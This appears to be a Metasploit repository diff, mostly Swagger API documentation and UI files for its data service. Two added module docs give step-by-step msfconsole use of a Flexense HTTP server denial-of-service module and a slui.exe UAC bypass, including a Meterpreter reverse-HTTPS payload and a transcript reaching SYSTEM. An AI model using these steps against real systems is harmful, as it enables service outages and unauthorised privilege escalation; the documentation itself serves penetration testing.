property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
property :state, type: :string, description: STATE_DESC, enum: STATE_ENUM
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Service
end
end
end
# Swagger documentation for /api/v1/services/ DELETE
operation :delete do
key :description, 'Delete the specified services.'
key :tags, [ 'service' ]
parameter :delete_opts
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :array
items do
key :'$ref', :Service
end
end
end
end
end
swagger_path '/api/v1/services/{id}' do
# Swagger documentation for api/v1/services/:id GET
# TODO: Add this back in when this endpoint is implemented, tracked in MS-3233.
#
# operation :get do
# key :description, 'Return specific service that is stored in the database.'
# key :tags, [ 'service' ]
#
# parameter :workspace
#
# parameter do
# key :name, :id
# key :in, :path
# key :description, 'ID of service to retrieve.'
# key :required, true
# key :type, :integer
# key :format, :int32
# end
#
# response 200 do
# key :description, 'Returns service data.'
# schema do
# key :type, :array
# items do
# key :'$ref', :Service
# end
# end
# end
# end
# Swagger documentation for /api/v1/services/:id PUT
operation :put do
key :description, 'Update the attributes an existing service.'
key :tags, [ 'service' ]
parameter :update_id
parameter do
key :in, :body
key :name, :body
key :description, 'The updated attributes to overwrite to the service.'
key :required, true
schema do
key :'$ref', :Service
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Service
end
end
end
end
end

View File

@ -0,0 +1,71 @@
require 'swagger/blocks'
module SessionApiDoc
include Swagger::Blocks
# Swagger documentation for sessions model
swagger_schema :Session do
key :required, [:id]
property :id, type: :integer, format: :int32
property :stype, type: :string
property :via_exploit, type: :string
property :via_payload, type: :string
property :desc, type: :string
property :port, type: :integer, format: :int32
property :platform, type: :string
property :opened_at, type: :string, format: :date_time
property :closed_at, type: :string, format: :date_time
property :closed_reason, type: :string
property :local_id, type: :integer, format: :int32
property :last_seen, type: :string, format: :date_time
property :module_run_id, type: :integer, format: :int32
end
swagger_path '/api/v1/sessions' do
# Swagger documentation for /api/v1/sessions GET
operation :get do
key :description, 'Return sessions that are stored in the database.'
key :tags, [ 'session' ]
parameter :workspace
response 200 do
key :description, 'Returns session data.'
schema do
key :type, :array
items do
key :'$ref', :Session
end
end
end
end
# Swagger documentation for /api/v1/sessions POST
# API based creation of session objects is not yet supported from a user-facing perspective.
# Once this is implemented in a sensible way we will need to uncomment and update the below doc code.
# operation :post do
# key :description, 'Create a session entry.'
# key :tags, [ 'session' ]
#
# parameter do
# key :in, :body
# key :name, :body
# key :description, 'The attributes to assign to the session.'
# key :required, true
# schema do
# key :'$ref', :Session
# end
# end
#
# response 200 do
# key :description, 'Successful operation.'
# schema do
# key :type, :object
# key :'$ref', :Session
# end
# end
# end
end
end

View File

@ -0,0 +1,75 @@
require 'swagger/blocks'
module SessionEventApiDoc
include Swagger::Blocks
SESSION_ID_DESC = 'The ID of the session record that caused this event.'
ETYPE_DESC = 'The type of session event that occurred.'
ETYPE_ENUM = ['command', 'output', 'upload', 'download', 'filedelete']
COMMAND_DESC = 'The command that was executed for this event.'
OUTPUT_DESC = 'The resulting output of the executed command.'
LOCAL_PATH_DESC = 'Path to the associated file for upload and download events.'
LOCAL_PATH_EXAMPLE = '/path/to/file'
REMOTE_PATH_DESC = 'Path to the associated file for upload, download, and filedelete events.'
REMOTE_PATH_EXAMPLE = '/path/to/file'
# Swagger documentation for session events model
swagger_schema :SessionEvent do
key :required, [:etype, :session_id]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :session_id, type: :integer, format: :int32, description: SESSION_ID_DESC
property :etype, type: :string, description: ETYPE_DESC, enum: ETYPE_ENUM
property :command, type: :string, description: COMMAND_DESC
property :output, type: :string, description: OUTPUT_DESC
property :local_path, type: :string, description: LOCAL_PATH_DESC, example: LOCAL_PATH_EXAMPLE
property :remote_path, type: :string, description: REMOTE_PATH_DESC, example: REMOTE_PATH_EXAMPLE
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
end
swagger_path '/api/v1/session-events' do
# Swagger documentation for /api/v1/session-events GET
operation :get do
key :description, 'Return session events that are stored in the database.'
key :tags, [ 'session_event' ]
response 200 do
key :description, 'Returns session event data.'
schema do
key :type, :array
items do
key :'$ref', :SessionEvent
end
end
end
end
# Swagger documentation for /api/v1/session events POST
operation :post do
key :description, 'Create a session events entry.'
key :tags, [ 'session_event' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the session event.'
key :required, true
schema do
property :etype, type: :string, required: true, description: ETYPE_DESC, enum: ETYPE_ENUM
property :session, '$ref' => :Session, required: true
property :command, type: :string, description: COMMAND_DESC
property :output, type: :string, description: OUTPUT_DESC
property :local_path, type: :string, description: LOCAL_PATH_DESC, example: LOCAL_PATH_EXAMPLE
property :remote_path, type: :string, description: REMOTE_PATH_DESC, example: REMOTE_PATH_EXAMPLE
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :SessionEvent
end
end
end
end
end

View File

@ -0,0 +1,208 @@
require 'swagger/blocks'
module VulnApiDoc
include Swagger::Blocks
HOST_ID_DESC = 'The ID of host record associated with this vuln.'
HOST_DESC = 'The host where this vuln was discovered.'
NAME_DESC = 'The friendly name/title for this vulnerability.'
NAME_EXAMPLE = 'Docker Daemon Privilege Escalation'
INFO_DESC = 'Information about how this vuln was discovered.'
INFO_EXAMPLE = 'Exploited by exploit/linux/local/docker_daemon_privilege_escalation to create session.'
EXPLOITED_AT_DESC = 'The date and time this vuln was successfully exploited.'
VULN_DETAIL_COUNT = 'Cached count of the number of associated vuln detail objects.'
VULN_ATTEMPT_COUNT = 'Cached count of the number of associated vuln attempt object.'
ORIGIN_ID_DESC = 'ID of the associated origin record.'
ORIGIN_TYPE_DESC = 'The origin type of this vuln.'
REFS_DESC = 'An array of public reference IDs for this vuln.'
REF_ID_DESC = 'The ID of the related Mdm::ModuleRef or Mdm::VulnRef associated with this vuln.'
REF_NAME_DESC = 'Designation for external reference. May include a prefix for the authority, such as \'CVE-\', in which case the rest of the name is the designation assigned by that authority.'
REFS_EXAMPLE = ['CVE-2008-4250','OSVDB-49243','MSB-MS08-067']
MODULE_REF_DETAIL_ID_DESC = 'The ID of the Mdm::Module::Detail record this ModuleRef is associated with.'
# Swagger documentation for vulns model
swagger_schema :Vuln do
key :required, [:host_id, :name]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :host_id, type: :integer, format: :int32, description: HOST_ID_DESC
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
property :exploited_at, type: :string, format: :date_time, description: EXPLOITED_AT_DESC
property :vuln_detail_count, type: :integer, format: :int32, description: VULN_DETAIL_COUNT
property :vuln_attempt_count, type: :integer, format: :int32, description: VULN_ATTEMPT_COUNT
property :origin_id, type: :integer, format: :int32, description: ORIGIN_ID_DESC
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC
property :vuln_refs do
key :type, :array
items do
key :'$ref', :VulnRef
end
end
property :refs do
key :type, :array
items do
key :'$ref', :Ref
end
end
property :module_refs do
key :type, :array
items do
key :'$ref', :ModuleRef
end
end
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_schema :Ref do
key :required, [:name]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :ref_id, type: :integer, format: :int32, description: REF_ID_DESC
property :name, type: :string, required: true, description: REF_NAME_DESC
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_schema :ModuleRef do
key :required, [:name]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :detail_id, type: :integer, format: :int32, description: MODULE_REF_DETAIL_ID_DESC
property :name, type: :string, required: true, description: REF_NAME_DESC
end
swagger_schema :VulnRef do
key :required, [:ref_id, :vuln_id]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :ref_id, type: :integer, format: :int32, description: RootApiDoc::CREATED_AT_DESC
property :vuln_id, type: :integer, format: :int32, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/vulns' do
# Swagger documentation for /api/v1/vulns GET
operation :get do
key :description, 'Return vulns that are stored in the database.'
key :tags, [ 'vuln' ]
parameter :workspace
response 200 do
key :description, 'Returns vuln data.'
schema do
key :type, :array
items do
key :'$ref', :Vuln
end
end
end
end
# Swagger documentation for /api/v1/vulns POST
operation :post do
key :description, 'Create a vuln entry.'
key :tags, [ 'vuln' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the vuln.'
key :required, true
schema do
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :host, type: :string, format: :ipv4, required: true, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
property :refs do
key :type, :array
key :description, REFS_DESC
key :example, REFS_EXAMPLE
items do
key :type, :string
end
end
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Vuln
end
end
end
# Swagger documentation for /api/v1/vulns/ DELETE
operation :delete do
key :description, 'Delete the specified vulns.'
key :tags, [ 'vuln' ]
parameter :delete_opts
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :array
items do
key :'$ref', :Vuln
end
end
end
end
end
swagger_path '/api/v1/vulns/{id}' do
# Swagger documentation for api/v1/vulns/:id GET
operation :get do
key :description, 'Return specific vuln that is stored in the database.'
key :tags, [ 'vuln' ]
parameter :workspace
parameter do
key :name, :id
key :in, :path
key :description, 'ID of vuln to retrieve.'
key :required, true
key :type, :integer
key :format, :int32
end
response 200 do
key :description, 'Returns vuln data.'
schema do
key :type, :array
items do
key :'$ref', :Vuln
end
end
end
end
# Swagger documentation for /api/v1/vulns/:id PUT
operation :put do
key :description, 'Update the attributes an existing vuln.'
key :tags, [ 'vuln' ]
parameter :update_id
parameter do
key :in, :body
key :name, :body
key :description, 'The updated attributes to overwrite to the vuln.'
key :required, true
schema do
key :'$ref', :Vuln
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Vuln
end
end
end
end
end

View File

@ -0,0 +1,83 @@
require 'swagger/blocks'
module VulnAttemptApiDoc
include Swagger::Blocks
VULN_ID_DESC = 'The ID of the vuln record associated with this vuln attempt was exploiting.'
SESSION_ID_DESC = 'The ID of the session record associated with this vuln attempt if it was successful.'
LOOT_ID_DESC = 'The ID of the loot record associated with this vuln attempt if loot was gathered.'
ATTEMPTED_AT_DESC = 'The time that this vuln attempt occurred.'
EXPLOITED_DESC = 'true if the vuln attempt was successful.'
FAIL_REASON_DESC = 'Short reason why this attempt failed.'
FAIL_DETAIL_DESC = 'Long details about why this attempt failed.'
MODULE_DESC = 'Full name of the Metasploit module that was used in this attempt.'
MODULE_EXAMPLE = 'linux/local/docker_daemon_privilege_escalation'
USERNAME_DESC = 'The username of the user who made this vuln attempt.'
# Swagger documentation for vuln_attempts model
swagger_schema :VulnAttempt do
key :required, [:vuln_id]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :vuln_id, type: :integer, format: :int32, description: VULN_ID_DESC
property :session_id, type: :integer, format: :int32, description: SESSION_ID_DESC
property :loot_id, type: :integer, format: :int32, description: LOOT_ID_DESC
property :attempted_at, type: :string, format: :date_time, description: ATTEMPTED_AT_DESC
property :exploited, type: :boolean, description: EXPLOITED_DESC
property :fail_reason, type: :string, description: FAIL_REASON_DESC
property :fail_detail, type: :string, description: FAIL_DETAIL_DESC
property :module, type: :string, description: MODULE_DESC, example: MODULE_EXAMPLE
property :username, type: :string, description: USERNAME_DESC
end
swagger_path '/api/v1/vuln-attempts' do
# Swagger documentation for /api/v1/vuln-attempts GET
operation :get do
key :description, 'Return vuln attempts that are stored in the database.'
key :tags, [ 'vuln_attempt' ]
parameter :workspace
response 200 do
key :description, 'Returns vuln attempt data.'
schema do
key :type, :array
items do
key :'$ref', :VulnAttempt
end
end
end
end
# Swagger documentation for /api/v1/vuln-attempts POST
operation :post do
key :description, 'Create a vuln attempt entry.'
key :tags, [ 'vuln_attempt' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the vuln attempt.'
key :required, true
schema do
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :vuln_id, type: :integer, format: :int32, description: VULN_ID_DESC
property :attempted_at, type: :string, format: :date_time, description: ATTEMPTED_AT_DESC
property :exploited, type: :boolean, description: EXPLOITED_DESC
property :fail_reason, type: :string, description: FAIL_REASON_DESC
property :fail_detail, type: :string, description: FAIL_DETAIL_DESC
property :module, type: :string, description: MODULE_DESC, example: MODULE_EXAMPLE
property :username, type: :string, description: USERNAME_DESC
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :VulnAttempt
end
end
end
end
end

View File

@ -0,0 +1,140 @@
require 'swagger/blocks'
module WorkspaceApiDoc
include Swagger::Blocks
NAME_DESC = 'The name of the workspace. This is the unique identifier for determining which workspace is being accessed.'
BOUNDARY_DESC = 'Comma separated list of IP ranges (in various formats) and IP addresses that users of this workspace are allowed to interact with if limit_to_network is true.'
BOUNDARY_EXAMPLE = '10.10.1.1-50,10.10.1.100,10.10.2.0/24'
DESCRIPTION_DESC = 'Long description that explains the purpose of this workspace.'
OWNER_ID_DESC = 'ID of the user who owns this workspace.'
LIMIT_TO_NETWORK_DESC = 'true to restrict the hosts and services in this workspace to the IP addresses listed in \'boundary\'.'
IMPORT_FINGERPRINT_DESC = 'Identifier that indicates if and where this workspace was imported from.'
# Swagger documentation for workspaces model
swagger_schema :Workspace do
key :required, [:name]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :name, type: :string, description: NAME_DESC
property :boundary, type: :string, description: BOUNDARY_DESC, example: BOUNDARY_EXAMPLE
property :description, type: :string, description: DESCRIPTION_DESC
property :owner_id, type: :integer, format: :int32, description: OWNER_ID_DESC
property :limit_to_network, type: :boolean, description: LIMIT_TO_NETWORK_DESC
property :import_fingerprint, type: :boolean, description: IMPORT_FINGERPRINT_DESC
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/workspaces' do
# Swagger documentation for /api/v1/workspaces GET
operation :get do
key :description, 'Return workspaces that are stored in the database.'
key :tags, [ 'workspace' ]
response 200 do
key :description, 'Returns workspace data.'
schema do
key :type, :array
items do
key :'$ref', :Workspace
end
end
end
end
# Swagger documentation for /api/v1/workspaces POST
operation :post do
key :description, 'Create a workspace entry.'
key :tags, [ 'workspace' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the workspace.'
key :required, true
schema do
property :name, type: :string, description: NAME_DESC
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Workspace
end
end
end
# Swagger documentation for /api/v1/workspaces/ DELETE
operation :delete do
key :description, 'Delete the specified workspaces.'
key :tags, [ 'workspace' ]
parameter :delete_opts
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :array
items do
key :'$ref', :Workspace
end
end
end
end
end
swagger_path '/api/v1/workspaces/{id}' do
# Swagger documentation for api/v1/workspaces/:id GET
operation :get do
key :description, 'Return specific workspace that is stored in the database.'
key :tags, [ 'workspace' ]
parameter do
key :name, :id
key :in, :path
key :description, 'ID of workspace to retrieve.'
key :required, true
key :type, :integer
key :format, :int32
end
response 200 do
key :description, 'Returns workspace data.'
schema do
key :type, :array
items do
key :'$ref', :Workspace
end
end
end
end
# Swagger documentation for /api/v1/workspaces/:id PUT
operation :put do
key :description, 'Update the attributes an existing workspaces.'
key :tags, [ 'workspace' ]
parameter :update_id
parameter do
key :in, :body
key :name, :body
key :description, 'The updated attributes to overwrite to the workspace.'
key :required, true
schema do
key :'$ref', :Workspace
end
end
response 200 do
key :description, 'Successful operation.'
schema do
key :type, :object
key :'$ref', :Workspace
end
end
end
end
end

View File

@ -0,0 +1,67 @@
## Description
This module triggers a Denial of Service vulnerability in the Flexense Enterprise HTTP server. It is possible to trigger
a write access memory vialation via rapidly sending HTTP requests with large HTTP header values.
## Vulnerable Application
According To publicly exploit Disclosure of Flexense HTTP Server v10.6.24
Following list of softwares are vulnerable to Denial Of Service.
read more : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8065
DiskBoss Enterprise <= v9.0.18
Sync Breeze Enterprise <= v10.6.24
Disk Pulse Enterprise <= v10.6.24
Disk Savvy Enterprise <= v10.6.24
Dup Scout Enterprise <= v10.6.24
VX Search Enterprise <= v10.6.24
**Vulnerable Application Link**
http://www.diskboss.com/downloads.html
http://www.syncbreeze.com/downloads.html
http://www.diskpulse.com/downloads.html
http://www.disksavvy.com/downloads.html
http://www.dupscout.com/downloads.html
## Vulnerable Application Installation Setup.
All Flexense applications that are listed above can be installed by following these steps.
Download Application : ```https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS/raw/master/syncbreezeent_setup_v10.6.24.exe```
**And Follow Sync Breeze Enterprise v10.6.24 Setup Wizard**
After the installation navigate to: ```Options->Server```
Check the box saying: ```Enable web server on port:...```
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use auxiliary/dos/http/flexense_http_server_dos`
4. Do: `set rport <port>`
5. Do: `set rhost <ip>`
6. Do: `check`
```
[+] 192.168.1.20:80 The target is vulnerable.
```
7. Do: `run`
8. Web server will crash after 200-1000 request depending on the OS version and system memory.
## Scenarios
**TESTED AGAINST WINDOWS 7/10**
```
msf5 > use auxiliary/dos/http/flexense_http_server_dos
msf5 auxiliary(dos/http/flexense_http_server_dos) > set rhost 192.168.1.27
rhost => 192.168.1.27
msf5 auxiliary(dos/http/flexense_http_server_dos) > set rport 80
rport => 80
msf5 auxiliary(dos/http/flexense_http_server_dos) > run
[*] 192.168.1.20:80 - Triggering the vulnerability
[+] 192.168.1.20:80 - DoS successful 192.168.1.20 is down !
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,140 @@
## Intro
This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under
the Current User hive, and inserting a custom command that will get invoked when
any binary (.exe) application is launched. But slui.exe is an auto-elevated binary that is
vulnerable to file handler hijacking. When we run slui.exe with changed Registry key
(HKCU:\Software\Classes\exefile\shell\open\command), it will run our custom command as Admin
instead of slui.exe.
The module modifies the registry in order for this exploit to work. The modification is
reverted once the exploitation attempt has finished.
The module does not require the architecture of the payload to match the OS. If
specifying EXE::Custom your DLL should call ExitProcess() after starting the
payload in a different process.
## Usage
1. First we need to obtain a session on the target system.
2. Load module: `use exploit/windows/local/bypassuac_sluihijack`
3. Set the `payload`: `set payload windows/x64/meterpreter/reverse_tcp`
4. If an existing handler is configured to receive the elevated session,
then the module's handler should be disabled: `set DisablePayloadHandler true`.
5. Configure the `payload`.
6. `Exploit` it.
## Scenario
```
msf exploit(multi/handler) >
[*] https://192.168.0.30:443 handling request from 192.168.0.33; (UUID: d4iywkip) Encoded stage with x86/shikata_ga_nai
[*] https://192.168.0.30:443 handling request from 192.168.0.33; (UUID: d4iywkip) Staging x86 payload (180854 bytes) ...
[*] Meterpreter session 1 opened (192.168.0.30:443 -> 192.168.0.33:49875) at 2018-04-07 18:33:11 +0200
msf exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows WIN10-01\user01 @ WIN10-01 192.168.0.30:443 -> 192.168.0.33:49875 (192.168.0.33)
msf exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : WIN10-01
OS : Windows 10 (Build 16299).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > getuid
Server username: WIN10-01\user01
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > use exploit/windows/local/bypassuac_sluihijack
msf exploit(windows/local/bypassuac_sluihijack) > show targets
Exploit targets:
Id Name
-- ----
0 Windows x86
1 Windows x64
msf exploit(windows/local/bypassuac_sluihijack) > set target 1
target => 1
msf exploit(windows/local/bypassuac_sluihijack) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf exploit(windows/local/bypassuac_sluihijack) > set session 1
session => 1
msf exploit(windows/local/bypassuac_sluihijack) > set LHOST 192.168.0.30
LHOST => 192.168.0.30
msf exploit(windows/local/bypassuac_sluihijack) > exploit
[*] Started HTTPS reverse handler on https://192.168.0.30:8443
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\Sysnative\cmd.exe /c powershell Start-Process C:\Windows\System32\slui.exe -Verb runas
[*] https://192.168.0.30:8443 handling request from 192.168.0.33; (UUID: znqja6ua) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 2 opened (192.168.0.30:8443 -> 192.168.0.33:49881) at 2018-04-07 18:34:39 +0200
[*] Cleaining up registry keys ...
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

View File

@ -24,7 +24,7 @@ def initialize(info = {})
super
register_options([
OptAddressRange.new('RHOSTS', [ true, "The target address range or CIDR identifier"]),
Opt::RHOSTS,
OptBool.new('NMAP_VERBOSE', [ false, 'Display nmap output', true]),
OptString.new('RPORTS', [ false, 'Ports to target']), # RPORT supersedes RPORTS
], Auxiliary::Nmap)

View File

@ -17,6 +17,7 @@ def initialize(info = {})
super
register_options([
Opt::RHOSTS,
OptInt.new('THREADS', [ true, "The number of concurrent threads", 1 ] )
], Auxiliary::Scanner)

View File

@ -167,7 +167,7 @@ module Msf::DBManager::Host
# +:os_flavor+:: -- something like "Enterprise", "Pro", or "Home"
# +:os_sp+:: -- something like "SP2"
# +:os_lang+:: -- something like "English", "French", or "en-US"
# +:arch+:: -- one of the ARCH_* constants
# +:arch+:: -- one of the ARCHITECTURES listed in metasploit_data_models/app/models/mdm/host.rb
# +:mac+:: -- the host's MAC address
# +:scope+:: -- interface identifier for link-local IPv6
# +:virtual_host+:: -- the name of the virtualization software, eg "VMWare", "QEMU", "Xen", "Docker", etc.

Binary file not shown.

After

Width:  |  Height:  |  Size: 445 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

View File

@ -0,0 +1,61 @@
<!-- HTML for static distribution bundle build -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Metasploit API Documentation</title>
<link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700|Source+Code+Pro:300,600|Titillium+Web:400,600,700" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="./swagger-ui.css" >
<link rel="icon" type="image/png" href="./favicon-32x32.png" sizes="32x32" />
<link rel="icon" type="image/png" href="./favicon-16x16.png" sizes="16x16" />
<style>
html
{
box-sizing: border-box;
overflow: -moz-scrollbars-vertical;
overflow-y: scroll;
}
*,
*:before,
*:after
{
box-sizing: inherit;
}
body
{
margin:0;
background: #fafafa;
}
</style>
</head>
<body>
<div id="swagger-ui"></div>
<script src="./swagger-ui-bundle.js"> </script>
<script src="./swagger-ui-standalone-preset.js"> </script>
<script>
window.onload = function() {
// Build a system
const ui = SwaggerUIBundle({
url: "http://petstore.swagger.io/v2/swagger.json",
dom_id: '#swagger-ui',
deepLinking: true,
presets: [
SwaggerUIBundle.presets.apis,
SwaggerUIStandalonePreset
],
plugins: [
SwaggerUIBundle.plugins.DownloadUrl
],
layout: "StandaloneLayout"
})
window.ui = ui
}
</script>
</body>
</html>

View File

@ -0,0 +1,67 @@
<!doctype html>
<html lang="en-US">
<body onload="run()">
</body>
</html>
<script>
'use strict';
function run () {
var oauth2 = window.opener.swaggerUIRedirectOauth2;
var sentState = oauth2.state;
var redirectUrl = oauth2.redirectUrl;
var isValid, qp, arr;
if (/code|token|error/.test(window.location.hash)) {
qp = window.location.hash.substring(1);
} else {
qp = location.search.substring(1);
}
arr = qp.split("&")
arr.forEach(function (v,i,_arr) { _arr[i] = '"' + v.replace('=', '":"') + '"';})
qp = qp ? JSON.parse('{' + arr.join() + '}',
function (key, value) {
return key === "" ? value : decodeURIComponent(value)
}
) : {}
isValid = qp.state === sentState
if ((
oauth2.auth.schema.get("flow") === "accessCode"||
oauth2.auth.schema.get("flow") === "authorizationCode"
) && !oauth2.auth.code) {
if (!isValid) {
oauth2.errCb({
authId: oauth2.auth.name,
source: "auth",
level: "warning",
message: "Authorization may be unsafe, passed state was changed in server Passed state wasn't returned from auth server"
});
}
if (qp.code) {
delete oauth2.state;
oauth2.auth.code = qp.code;
oauth2.callback({auth: oauth2.auth, redirectUrl: redirectUrl});
} else {
let oauthErrorMsg
if (qp.error) {
oauthErrorMsg = "["+qp.error+"]: " +
(qp.error_description ? qp.error_description+ ". " : "no accessCode received from the server. ") +
(qp.error_uri ? "More info: "+qp.error_uri : "");
}
oauth2.errCb({
authId: oauth2.auth.name,
source: "auth",
level: "error",
message: oauthErrorMsg || "[Authorization failed]: no accessCode received from the server"
});
}
} else {
oauth2.callback({auth: oauth2.auth, token: qp, isValid: isValid, redirectUrl: redirectUrl});
}
window.close();
}
</script>

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1 @@
{"version":3,"sources":[],"names":[],"mappings":"","file":"swagger-ui.css","sourceRoot":""}

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,64 @@
require 'swagger/blocks'
load 'documentation/api/v1/root_api_doc.rb'
load 'documentation/api/v1/credential_api_doc.rb'
load 'documentation/api/v1/db_export_api_doc.rb'
load 'documentation/api/v1/event_api_doc.rb'
load 'documentation/api/v1/exploit_api_doc.rb'
load 'documentation/api/v1/host_api_doc.rb'
load 'documentation/api/v1/loot_api_doc.rb'
load 'documentation/api/v1/msf_api_doc.rb'
load 'documentation/api/v1/nmap_api_doc.rb'
load 'documentation/api/v1/note_api_doc.rb'
load 'documentation/api/v1/service_api_doc.rb'
load 'documentation/api/v1/session_api_doc.rb'
load 'documentation/api/v1/session_event_api_doc.rb'
load 'documentation/api/v1/vuln_api_doc.rb'
load 'documentation/api/v1/vuln_attempt_api_doc.rb'
load 'documentation/api/v1/workspace_api_doc.rb'
module ApiDocsServlet
include Swagger::Blocks
def self.json_path
'/api/v1/api-docs.json'
end
def self.html_path
'/api/v1/api-docs'
end
def self.registered(app)
app.get ApiDocsServlet.json_path, &get_api_docs
app.get ApiDocsServlet.html_path do
erb :api_docs
end
end
private
def self.get_api_docs
lambda {
swaggered_classes = [
RootApiDoc,
CredentialApiDoc,
DbExportApiDoc,
EventApiDoc,
ExploitApiDoc,
HostApiDoc,
LootApiDoc,
MsfApiDoc,
NmapApiDoc,
NoteApiDoc,
ServiceApiDoc,
SessionApiDoc,
SessionEventApiDoc,
VulnApiDoc,
VulnAttemptApiDoc,
WorkspaceApiDoc
].freeze
json = Swagger::Blocks.build_root_json(swaggered_classes)
set_json_response(json, [])
}
end
end

View File

@ -17,6 +17,8 @@ module CredentialServlet
lambda {
begin
opts = parse_json_request(request, false)
sanitized_params = sanitize_params(params)
opts.merge!(sanitized_params)
data = get_db().creds(opts)
includes = [:logins, :public, :private, :realm]
# Need to append the human attribute into the private sub-object before converting to json

View File

@ -21,6 +21,11 @@ module ServletHelper
[200, headers, to_json(data, includes)]
end
def set_html_response(data)
headers = {'Content-Type' => 'text/html'}
[200, headers, data]
end
def parse_json_request(request, strict = false)
body = request.body.read
if (body.nil? || body.empty?)

View File

@ -1,5 +1,7 @@
require 'sinatra/base'
require 'swagger/blocks'
require 'msf/core/db_manager/http/servlet_helper'
require 'msf/core/db_manager/http/servlet/api_docs_servlet'
require 'msf/core/db_manager/http/servlet/host_servlet'
require 'msf/core/db_manager/http/servlet/note_servlet'
require 'msf/core/db_manager/http/servlet/vuln_servlet'
@ -18,10 +20,10 @@ require 'msf/core/db_manager/http/servlet/db_export_servlet'
require 'msf/core/db_manager/http/servlet/vuln_attempt_servlet'
class SinatraApp < Sinatra::Base
helpers ServletHelper
# Servlet registration
register ApiDocsServlet
register HostServlet
register VulnServlet
